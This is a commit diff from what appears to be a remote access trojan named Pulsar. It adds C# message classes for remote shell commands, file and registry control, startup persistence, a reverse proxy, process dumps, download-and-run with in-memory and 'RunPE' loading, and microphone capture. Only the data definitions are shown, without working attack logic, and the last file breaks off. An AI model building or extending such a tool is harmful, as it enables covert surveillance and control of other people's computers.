initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,13 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.Actions
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoShutdownAction : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public ShutdownAction Action { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoPathDelete : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Path { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public FileType PathType { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoPathRename : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Path { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string NewPath { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public FileType PathType { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoZipFolder : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string SourcePath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string DestinationPath { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int CompressionLevel { get; set; } = (int)System.IO.Compression.CompressionLevel.Optimal;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class FileTransferCancel : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Id { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string Reason { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class FileTransferChunk : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Id { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string FilePath { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public long FileSize { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public FileChunk Chunk { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string FileExtension { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class FileTransferComplete : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Id { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string FilePath { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class FileTransferRequest : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Id { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string RemotePath { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDirectory : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string RemotePath { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDirectoryResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string RemotePath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public FileSystemEntry[] Items { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDrives : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDrivesResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public Drive[] Drives { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.FileManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class SetStatusFileManager : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Message { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool SetLastDirectorySeen { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoChangeRegistryValue : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public RegValueData Value { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoCreateRegistryKey : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ParentPath { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using Microsoft.Win32;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoCreateRegistryValue : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public RegistryValueKind Kind { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoDeleteRegistryKey : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string KeyName { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoDeleteRegistryValue : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string ValueName { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoLoadRegistryKey : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string RootKeyName { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoRenameRegistryKey : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string OldKeyName { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string NewKeyName { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoRenameRegistryValue : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string OldValueName { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string NewValueName { get; set; }
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetChangeRegistryValueResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetCreateRegistryKeyResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public RegSeekerMatch Match { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetCreateRegistryValueResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDeleteRegistryKeyResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string KeyName { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDeleteRegistryValueResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string ValueName { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetRegistryKeysResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public RegSeekerMatch[] Matches { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string RootKey { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetRenameRegistryKeyResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string OldKeyName { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string NewKeyName { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RegistryEditor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetRenameRegistryValueResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string KeyPath { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string OldValueName { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string NewValueName { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public bool IsError { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string ErrorMsg { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RemoteShell
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoShellExecute : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Command { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.RemoteShell
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoShellExecuteResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Output { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool IsError { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.ReverseProxy
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class ReverseProxyConnect : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string Target { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Port { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.ReverseProxy
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class ReverseProxyConnectResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool IsConnected { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public byte[] LocalAddress { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public int LocalPort { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string HostName { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.ReverseProxy
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class ReverseProxyData : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public byte[] Data { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.ReverseProxy
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class ReverseProxyDisconnect : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int ConnectionId { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoStartupItemAdd : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public StartupItem StartupItem { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoStartupItemRemove : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public StartupItem StartupItem { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.StartupManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetStartupItems : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.StartupManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetStartupItemsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public List<StartupItem> StartupItems { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.SystemInfo
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetSystemInfo : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetSystemInfoResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public List<Tuple<string, string>> SystemInfos { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TCPConnections
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoCloseConnection : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string LocalAddress { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public ushort LocalPort { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string RemoteAddress { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public ushort RemotePort { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TCPConnections
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetConnections : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TCPConnections
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetConnectionsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public TcpConnection[] Connections { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoProcessDump : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Pid { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoProcessDumpResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool Result { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string DumpPath { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public long Length { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public int Pid { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string ProcessName { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public string FailureReason { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public long UnixTime { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoProcessEnd : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Pid { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoProcessResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public ProcessAction Action { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool Result { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoProcessStart : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string DownloadUrl { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string FilePath { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool IsUpdate { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public bool ExecuteInMemoryDotNet { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public bool UseRunPE { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public string RunPETarget { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public string RunPECustomPath { get; set; }
|
||||
|
||||
[Key(8)]
|
||||
public byte[] FileBytes { get; set; }
|
||||
|
||||
[Key(9)]
|
||||
public string FileExtension { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoSetTopMost : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Pid { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool Enable { get; set; } // true = make topmost, false = remove
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoSetWindowState : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Pid { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool Minimize { get; set; } // true = minimize, false = restore
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
[MessagePackObject]
|
||||
public class DoSuspendProcess : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Pid { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool Suspend { get; set; } // true = suspend, false = resume
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetProcesses : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.Administration.TaskManager
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetProcessesResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public Process[] Processes { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int? RatPid { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetMicrophone : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Bitrate { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public bool Destroy { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetMicrophoneDevice : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetMicrophoneDeviceResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public List<Tuple<int, string>> DeviceInfos { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetMicrophoneResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Audio { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Device { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetOutput : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Bitrate { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public bool Destroy { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetOutputDevice : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetOutputDeviceResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
